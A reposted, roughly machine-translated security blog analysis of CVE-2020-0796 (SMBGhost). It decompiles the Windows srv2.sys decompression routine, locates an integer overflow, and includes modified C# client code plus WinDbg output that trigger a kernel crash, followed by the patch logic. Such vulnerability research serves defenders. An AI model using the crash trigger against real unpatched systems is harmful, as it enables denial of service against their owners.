CVE-2020-0796 analysis SMBGhost teach you step by step from static analysis

powered by UnicodeSec

This article is reproduced from https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html

This article analyzes Microsoft's CVE-2020-0796, also known as SMBGhost / Coronablue. The main impact of SMBv3.1.1, now Microsoft has released a patch, please download.

Microsoft will send out an alert to its "important" partner. MSRC release ADV-200005 notice https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/adv200005 in 2020, March 9 ([ 1 ]).

Based on past researchers have analyzed Wannacry @ zerosum0x0 ([2]) argument that could be difficult to find, but it is not easy to use. Unlike other 1-day analysis of the article, we do not binary diff as the beginning of the article, and currently there is no corresponding patch release information, so we need experience and intuition alone to discover the error.

Intelligence sources

According to ADV-200005 security notice, we can get the following information, such as the impact version, etc.

Description
================
Microsoft is aware of a remote code execution vulnerability in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests. An attacker who successfully exploited the vulnerability could gain the ability to execute code on the target SMB Server or SMB Client.

Security Updates
================
Windows 10 Version 1903 for 32-bit Systems                  Remote Code Execution   Critical    
Windows 10 Version 1903 for ARM64-based Systems             Remote Code Execution   Critical    
Windows 10 Version 1903 for x64-based Systems               Remote Code Execution   Critical    
Windows 10 Version 1909 for 32-bit Systems                  Remote Code Execution   Critical    
Windows 10 Version 1909 for ARM64-based Systems             Remote Code Execution   Critical    
Windows 10 Version 1909 for x64-based Systems               Remote Code Execution   Critical    
Windows Server, version 1903 (Server Core installation)     Remote Code Execution   Critical    
Windows Server, version 1909 (Server Core installation)     Remote Code Execution   Critical

Workarounds
================

Disable SMBv3 compression
*************************

You can disable compression to block unauthenticated attackers from exploiting the vulnerability against an SMBv3 Server with the PowerShell command below.

    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force

According to the article description, we can get three important information.

  1. The vulnerability only affects SMB v3.1.1, the latest is the SMB protocol, there may be some features not tested
  2. Only affects 1903 and 1909, which means that windows server 2019 (177630) LTSC versions are not affected
  3. Smb advised to turn off compression

First of all we need to know smb service binary file in which position. In general C:\Windows\System32\drivers\srv2.sys, this analysis is to learn from lessons learned wanncry.

Secondly, we get srv2.sys on from a specific version of windows. Virtual machines can be set up duplicate copies

srv2.sys static analysis

The load srv2.sys to ida, depending on the security notices, and compress about, so we find the main function names associated with the compression.

  • Srv2DecompressMessageAsync
  • Srv2DecompressData
  • Smb2GetHonorCompressionAlgOrder
  • Smb2SelectCompressionAlgorithm
  • Smb2ValidateCompressionCapabilities

Srv2DecompressMessageAsync and Srv2DecompressData these two functions may be a problem, synchronous version of that function more than the asynchronous version of the function analysis, we mainly analyze srv2! Srv2DecompressData function

__int64 __fastcall Srv2DecompressData(__int64 a1)
{
  __int64 v1; // rdi
  __int64 v2; // rax
  __m128i v3; // xmm0
  __m128i v4; // xmm0
  unsigned int v5; // ebp
  __int64 v7; // rax
  __int64 v8; // rbx
  int v9; // eax
  __m128i MaxCount; // [rsp+30h] [rbp-28h]
  int v11; // [rsp+60h] [rbp+8h]

  v11 = 0;
  v1 = a1;
  v2 = *(_QWORD *)(a1 + 240);
  if ( *(_DWORD *)(v2 + 36) < 0x10u )
    return 0xC000009B;
  v3 = *(__m128i *)*(_QWORD *)(v2 + 24);
  MaxCount = v3;
  v4 = _mm_srli_si128(v3, 8);
  v5 = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 80) + 496i64) + 140i64);
  if ( v5 != v4.m128i_u16[0] )
    return 0xC00000BB;
  v7 = SrvNetAllocateBuffer((unsigned int)(MaxCount.m128i_i32[1] + v4.m128i_i32[1]), 0i64);
  v8 = v7;
  if ( !v7 )
    return 0xC000009A;
  if ( (int)SmbCompressionDecompress(
              v5,
              *(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + MaxCount.m128i_u32[3] + 16i64,
              (unsigned int)(*(_DWORD *)(*(_QWORD *)(v1 + 240) + 36i64) - MaxCount.m128i_i32[3] - 16),
              MaxCount.m128i_u32[3] + *(_QWORD *)(v7 + 24),
              MaxCount.m128i_i32[1],
              &v11) < 0
    || (v9 = v11, v11 != MaxCount.m128i_i32[1]) )
  {
    SrvNetFreeBuffer(v8);
    return 0xC000090B;
  }
  if ( MaxCount.m128i_i32[3] )
  {
    memmove(
      *(void **)(v8 + 24),
      (const void *)(*(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + 16i64),
      MaxCount.m128i_u32[3]);
    v9 = v11;
  }
  *(_DWORD *)(v8 + 36) = MaxCount.m128i_i32[3] + v9;
  Srv2ReplaceReceiveBuffer(v1, v8);
  return 0i64;
}

This is to decompile ida c results. It is not easy to analyze, but we can notice two problems.

  1. Body of the function is very small, and "bug" coincides described
  2. Function only three simple matter, application buffer, and copied to the buffer belonging to decompress

If we want to make sure that the function is not a function of the existence of loopholes, we need more information and alwhat registers on behalf of, the attacker can also control which fields? ? ? The following are three references on smb protocol

  1. DevDays Redmond 2019, where they present an overview of "compressed" SMB packets: https://interopevents.blob.core.windows.net/uploads/PDFs/2019/Redmond/Talpey-SMB3doc-19H1-DevDays%20Redmond%202019.pdf ([4])
  2. [MS-SMBv2] the open specification documenting the SMB v2/3 protocol: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962 ([5])
  3. Public patches from Microsoft engineers in the open-source CIFS project, e.g.: https://patchwork.kernel.org/patch/11014449/

According to the disclosed material, we can learn more about smb package structure. Based on this information, I renamed it functions relevant variables

__int64 __fastcall Srv2DecompressData(__int64 _smb_packet)
{
  __int64 smb_packet; // rdi
  __int64 _header; // rax
  SMB_V2_COMPRESSION_TRANSFORM_HEADER v3; // xmm0
  AAA smb_header_compress; // xmm0_8
  unsigned int CompressionAlgorithm; // ebp
  __int64 __alloc_buffer; // rax
  __int64 __allocated_buffer; // rbx
  int PayloadSize; // eax
  SMB_V2_COMPRESSION_TRANSFORM_HEADER Header; // [rsp+30h] [rbp-28h]
  int UncompressedSize; // [rsp+60h] [rbp+8h]

  UncompressedSize = 0;
  smb_packet = _smb_packet;
  _header = *(_QWORD *)(_smb_packet + 0xF0);

  // Basic size checks
  if ( *(_DWORD *)(_header + 0x24) < sizeof(SMB_V2_COMPRESSION_TRANSFORM_HEADER) )
    return 0xC000090Bi64;

  v3 = *(SMB_V2_COMPRESSION_TRANSFORM_HEADER *)*(_QWORD *)(_header + 0x18);
  Header = v3;

  // Check the compression algo used is the same one as the one negotiated during NEGOTIATE_PACKET sequence
  *(__m128i *)&smb_header_compress.Algo = _mm_srli_si128(
                                            (__m128i)v3,
                                            offsetof(SMB_V2_COMPRESSION_TRANSFORM_HEADER, CompressionAlgorithm));
  CompressionAlgorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(_smb_packet + 80) + 496i64) + 140i64);
  if ( CompressionAlgorithm != (unsigned __int16)smb_header_compress.Algo )
    return 0xC00000BBi64;

  // Nani ?? oO
  __alloc_buffer = SrvNetAllocateBuffer(
        (unsigned int)(
            Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength),
        0i64
  );

  __allocated_buffer = __alloc_buffer;
  if ( !__alloc_buffer )
    return 0xC000009Ai64;

  // Decompress data in newly allocated buffer and check the uncompressed size is equal to the one filled out in Header.OriginalCompressedSegmentSize
  if ( (int)SmbCompressionDecompress(
              CompressionAlgorithm,
              (BYTE *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + (unsigned int)Header.OffsetOrLength
                                                                          + 0x10i64),
              *(_DWORD *)(*(_QWORD *)(smb_packet + 240) + 36i64) - Header.OffsetOrLength - 0x10,
              (BYTE *)((unsigned int)Header.OffsetOrLength + *(_QWORD *)(__alloc_buffer + 0x18)),
              Header.OriginalCompressedSegmentSize,
              &UncompressedSize) < 0
    || (PayloadSize = UncompressedSize, UncompressedSize != Header.OriginalCompressedSegmentSize) )
  {
    SrvNetFreeBuffer(__allocated_buffer);
    return 0xC000090Bi64;
  }

  // Copy optional payload
  if ( Header.OffsetOrLength )
  {
    memmove(
      *(void **)(__allocated_buffer + 0x18),
      (const void *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + 0x10i64),
      (unsigned int)Header.OffsetOrLength);
    PayloadSize = UncompressedSize;
  }


  *(_DWORD *)(__allocated_buffer + 36) = Header.OffsetOrLength + PayloadSize;
  Srv2ReplaceReceiveBuffer(smb_packet, __allocated_buffer);
  return 0i64;
}

Now we can easily see where vulnerable.

__alloc_buffer = SrvNetAllocateBuffer(
  (unsigned int)(Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength),
  0i64
);

An attacker can control OriginalCompressedSegmentSizeand OffsetOrLengththese two parameters. OriginalCompressedSegmentSizeIs used to describe the size of the data before compression, OffsetOrLengthis used to describe the compressed data length or Fragment Offset, depending on whether the variable setting flags, as detailed in FIG.

OriginalCompressedSegmentSizeAnd OffsetOrLengthare 32-bit digital type int and srv2! Srv2DecompressData above two fields to control the allocation of memory space. Here is the disassembly

00000001C0017EB2  movq    rcx, xmm0
...
00000001C0017EC8  mov     rax, qword ptr [rsp+58h+Header.ProtocolId]
00000001C0017ECD  xor     edx, edx
00000001C0017ECF  shr     rax, 20h ;  OriginalCompressedSegmentSize
00000001C0017ED3  shr     rcx, 20h ;  OffsetOrLength
00000001C0017ED7  add     ecx, eax
00000001C0017ED9  call    cs:__imp_SrvNetAllocateBuffer

It is easy to be found, of which there is integer integer overflow. The following dynamic analysis to trigger the vulnerability

Dynamic Analysis

To test our hypothesis is correct, we need two things:

  • A vulnerable server, it is very easy to set up, simply install Windows 10 1903 or 1909 Windows on the system can be!
  • Implements the SMB client SMB v3.1.1 compression, which is actually much more difficult to implement.

Samba / CIFS official statement said, because they do not realize compression, so they are not affected by this vulnerability, and usually a third-party client such as smb, pysmbclient and impacket's smbclient not support compression. I managed to find a full-featured SMB client implementation: https: //github.com/microsoft/WindowsProtocolTestSuites/

The code base is completely written in C # by Microsoft for protocol conformance test (and therefore its function covers a very complete), is a very appropriate that we POC test environment. Honestly, this project is a treasure trove of Windows security researchers, the project includes a full implementation of SMB server / client, RDP server / client, Kerberos server, SMBD server and the like.

Although well written code, but the package is created and can not trigger the vulnerability, so we have to modify the code to trigger our vulnerability

// .\WindowsProtocolTestSuites\ProtoSDK\MS-SMB2\Common\Smb2Compression.cs
namespace Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2.Common
{
  /// <summary>
    /// SMB2 Compression Utility.
    /// </summary>
    public static class Smb2Compression
    {
    private static uint i = 0;

    /// <summary>
    /// Compress SMB2 packet.
    /// </summary>
    /// <param name="packet">The SMB2 packet.</param>
    /// <param name="compressionInfo">Compression info.</param>
    /// <param name="role">SMB2 role.</param>
    /// <param name="offset">The offset where compression start, default zero.</param>
    /// <returns></returns>
    public static Smb2Packet Compress(Smb2CompressiblePacket packet, Smb2CompressionInfo compressionInfo, Smb2Role role, uint offset = 0)
    {
        var compressionAlgorithm = GetCompressionAlgorithm(packet, compressionInfo, role);

        /*if (compressionAlgorithm == CompressionAlgorithm.NONE)
        {
            return packet;
        }*/

        // HACK: shitty counter to force Smb2Compression to not compress the first three packets (NEGOTIATE + SSPI login)
        if (i < 3)
        {
            i++;
            return packet;
        }

        var packetBytes = packet.ToBytes();

        var compressor = GetCompressor(compressionAlgorithm);

        // HACK: Insane length to trigger the integrer overflow
        offset = 0xffffffff;

        var compressedPacket = new Smb2CompressedPacket();
        compressedPacket.Header.ProtocolId = Smb2Consts.ProtocolIdInCompressionTransformHeader;
        compressedPacket.Header.OriginalCompressedSegmentSize = (uint)packetBytes.Length;
        compressedPacket.Header.CompressionAlgorithm = compressionAlgorithm;
        compressedPacket.Header.Reserved = 0;
        compressedPacket.Header.Offset = offset;
        compressedPacket.UncompressedData = packetBytes.Take((int)offset).ToArray();
        compressedPacket.CompressedData = compressor.Compress(packetBytes.Skip((int)offset).ToArray());

        var compressedPackectBytes = compressedPacket.ToBytes();

        // HACK: force compressed packet to be sent
        return compressedPacket;

        // Check whether compression shrinks the on-wire packet size
        // if (compressedPackectBytes.Length < packetBytes.Length)
        // {
        //     compressedPacket.OriginalPacket = packet;
        //     return compressedPacket;
        // }
        // else
        // {
        //     return packet;
        // }
    }
  }
}

namespace Microsoft.Protocols.TestManager.BranchCachePlugin
{
  class Program
  {
    static void TriggerCrash(BranchCacheDetector bcd, DetectionInfo info)
    {
      Smb2Client client = new Smb2Client(new TimeSpan(0, 0, defaultTimeoutInSeconds));
      client.CompressionInfo.CompressionIds = new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 };

      // NEGOTIATION is done in "plaintext", this is the call within UserLogon:
      //      client.Negotiate(
      //          0,
      //          1,
      //          Packet_Header_Flags_Values.NONE,
      //          messageId++,
      //          new DialectRevision[] { DialectRevision.Smb311 },
      //          SecurityMode_Values.NEGOTIATE_SIGNING_ENABLED,
      //          Capabilities_Values.NONE, 
      //          clientGuid,
      //          out selectedDialect,
      //          out gssToken,
      //          out header,
      //          out negotiateResp,
      //          preauthHashAlgs: new PreauthIntegrityHashID[] { PreauthIntegrityHashID.SHA_512 },  // apprently mandatory for compression
      //          compressionAlgorithms: new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 }
      //      );
      if (!bcd.UserLogon(info, client, out messageId, out sessionId, out clientGuid, out negotiateResp))
        return;

      // From now on, we compress every new packet
      client.CompressionInfo.CompressAllPackets = true;

      // Get tree information about a remote share (which does not exists)
      TREE_CONNECT_Response treeConnectResp;
      string uncSharePath = Smb2Utility.GetUncPath(info.ContentServerName, defaultShare);

      // trigger crash here
      client.TreeConnect(
          1,
          1,
          Packet_Header_Flags_Values.FLAGS_SIGNED,
          messageId++,
          sessionId,
          uncSharePath,
          out treeId,
          out header,
          out treeConnectResp
      );
    }

    static void Main(string[] args)
    {
        Console.WriteLine("Hello World!");

        Logger logger = new Logger();
        AccountCredential accountCredential = new AccountCredential("", "Ghost", "Ghost");

        BranchCacheDetector bcd = new BranchCacheDetector(
            logger,
            "DESKTOP-SMBVULN",
            "DESKTOP-SMBVULN",
            accountCredential
            );

        DetectionInfo info = new DetectionInfo();
        info.SelectedTransport = "SMB2";
        info.ContentServerName = "DESKTOP-SMBVULN";

        info.UserName = "Ghost";
        info.Password = "Ghost";

        TriggerCrash(bcd,info);

        Console.WriteLine("Goodbye World!");
    }
  }
}

We Smb2Compression.cs whereabouts smb server sends looks malformed packets, it seems we trigger the vulnerability

The following is the result windbg

Breakpoint 3 hit
srv2!Srv2DecompressData+0x6f:
fffff800`50ad7ecf 48c1e820        shr     rax,20h
kd> p
srv2!Srv2DecompressData+0x73:
fffff800`50ad7ed3 48c1e920        shr     rcx,20h
kd> 
srv2!Srv2DecompressData+0x77:
fffff800`50ad7ed7 03c8            add     ecx,eax
kd> r eax
eax=7e
kd> r ecx
ecx=ffffffff
kd> p
srv2!Srv2DecompressData+0x79:
fffff800`50ad7ed9 4c8b15489a0200  mov     r10,qword ptr [srv2!_imp_SrvNetAllocateBuffer (fffff800`50b01928)]
kd> r ecx
ecx=7d
kd> p
srv2!Srv2DecompressData+0x80:
fffff800`50ad7ee0 e8fbe29704      call    srvnet!SrvNetAllocateBuffer (fffff800`554561e0)
kd> p
srv2!Srv2DecompressData+0x85:
fffff800`50ad7ee5 488bd8          mov     rbx,rax
kd> g
KDTARGET: Refreshing KD connection

*** Fatal System Error: 0x00000050
                       (0xFFFF8483C09E7E2F,0x0000000000000000,0xFFFFF80051A0E750,0x0000000000000002)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff800`51a79580 cc              int     3
kd> !analyze -v
Connected to Windows 10 18362 x64 target at (Wed Mar 11 18:06:55.585 2020 (UTC + 1:00)), ptr64 TRUE
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffff8483c09e7e2f, memory referenced.
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
Arg3: fffff80051a0e750, If non-zero, the instruction address which referenced the bad memory
  address.
Arg4: 0000000000000002, (reserved)

Debugging Details:
------------------

READ_ADDRESS:  ffff8483c09e7e2f Nonpaged pool

TRAP_FRAME:  fffff105d6992c00 -- (.trap 0xfffff105d6992c00)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=fffff80051a0e700 rbx=0000000000000000 rcx=ffff8483bccd204f
rdx=ffff8483bccd204f rsi=0000000000000000 rdi=0000000000000000
rip=fffff80051a0e750 rsp=fffff105d6992d98 rbp=ffff8483bccd204f
 r8=ffff8483c09e7e2f  r9=0000000000000078 r10=ffff8483bccd1f6d
r11=ffff8483c09e7ea7 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
nt!RtlDecompressBufferXpressLz+0x50:
fffff800`51a0e750 418b08          mov     ecx,dword ptr [r8] ds:ffff8483`c09e7e2f=????????
Resetting default scope

STACK_TEXT:  
fffff105`d69921b8 fffff800`51b5b492 : nt!DbgBreakPointWithStatus
fffff105`d69921c0 fffff800`51b5ab82 : nt!KiBugCheckDebugBreak+0x12
fffff105`d6992220 fffff800`51a71917 : nt!KeBugCheck2+0x952
fffff105`d6992920 fffff800`51ab5b0a : nt!KeBugCheckEx+0x107
fffff105`d6992960 fffff800`5197e1df : nt!MiSystemFault+0x18fafa
fffff105`d6992a60 fffff800`51a7f69a : nt!MmAccessFault+0x34f
fffff105`d6992c00 fffff800`51a0e750 : nt!KiPageFault+0x35a
fffff105`d6992d98 fffff800`5191c666 : nt!RtlDecompressBufferXpressLz+0x50
fffff105`d6992db0 fffff800`5546e0bd : nt!RtlDecompressBufferEx2+0x66
fffff105`d6992e00 fffff800`50ad7f41 : srvnet!SmbCompressionDecompress+0xdd
fffff105`d6992e70 fffff800`50ad699e : srv2!Srv2DecompressData+0xe1
fffff105`d6992ed0 fffff800`50b19a7f : srv2!Srv2DecompressMessageAsync+0x1e
fffff105`d6992f00 fffff800`51a7504e : srv2!RfspThreadPoolNodeWorkerProcessWorkItems+0x13f
fffff105`d6992f80 fffff800`51a7500c : nt!KxSwitchKernelStackCallout+0x2e
fffff105`d52cf8f0 fffff800`5197545e : nt!KiSwitchKernelStackContinue
fffff105`d52cf910 fffff800`5197525c : nt!KiExpandKernelStackAndCalloutOnStackSegment+0x18e
fffff105`d52cf9b0 fffff800`519750d3 : nt!KiExpandKernelStackAndCalloutSwitchStack+0xdc
fffff105`d52cfa20 fffff800`5197508d : nt!KeExpandKernelStackAndCalloutInternal+0x33
fffff105`d52cfa90 fffff800`50b197d7 : nt!KeExpandKernelStackAndCalloutEx+0x1d
fffff105`d52cfad0 fffff800`51fc54a7 : srv2!RfspThreadPoolNodeWorkerRun+0x117
fffff105`d52cfb30 fffff800`519e5925 : nt!IopThreadStart+0x37
fffff105`d52cfb90 fffff800`51a78d5a : nt!PspSystemThreadStartup+0x55
fffff105`d52cfbe0 00000000`00000000 : nt!KiStartSystemThread+0x2a

patch

Microsoft's patch is in Srv2DecompressData inside of both Length was examined.

__int64 __fastcall Srv2DecompressData(__int64 a1)
{
      //
      //添加了对Header中Length的检查
      //
      if ( RtlULongAdd(Header.OriginalCompressedSegmentSize, Header2.Length, &pulResult) < 0 )
      {
          ...
      }
      if ( pulResult > (unsigned __int64)(unsigned int)(*(_DWORD *)(v9 + 0x24) + 0x100) + 0x34 )
     {
         ...
     }
      if ( RtlULongSub(pulResult, Header.Length, &pulResult) < 0 )
     {
         ...
     }
}

in conclusion

Overall, CVE-2020-0796 vulnerability is a very easy to find. But it did take advantage of the perfect use another matter: this is a need of long-range attack in the windows 10 KASLR protection mechanisms kernel exploit. The best way is to completely disable this feature.

references

Guess you like

Origin www.cnblogs.com/potatsoSec/p/12484973.html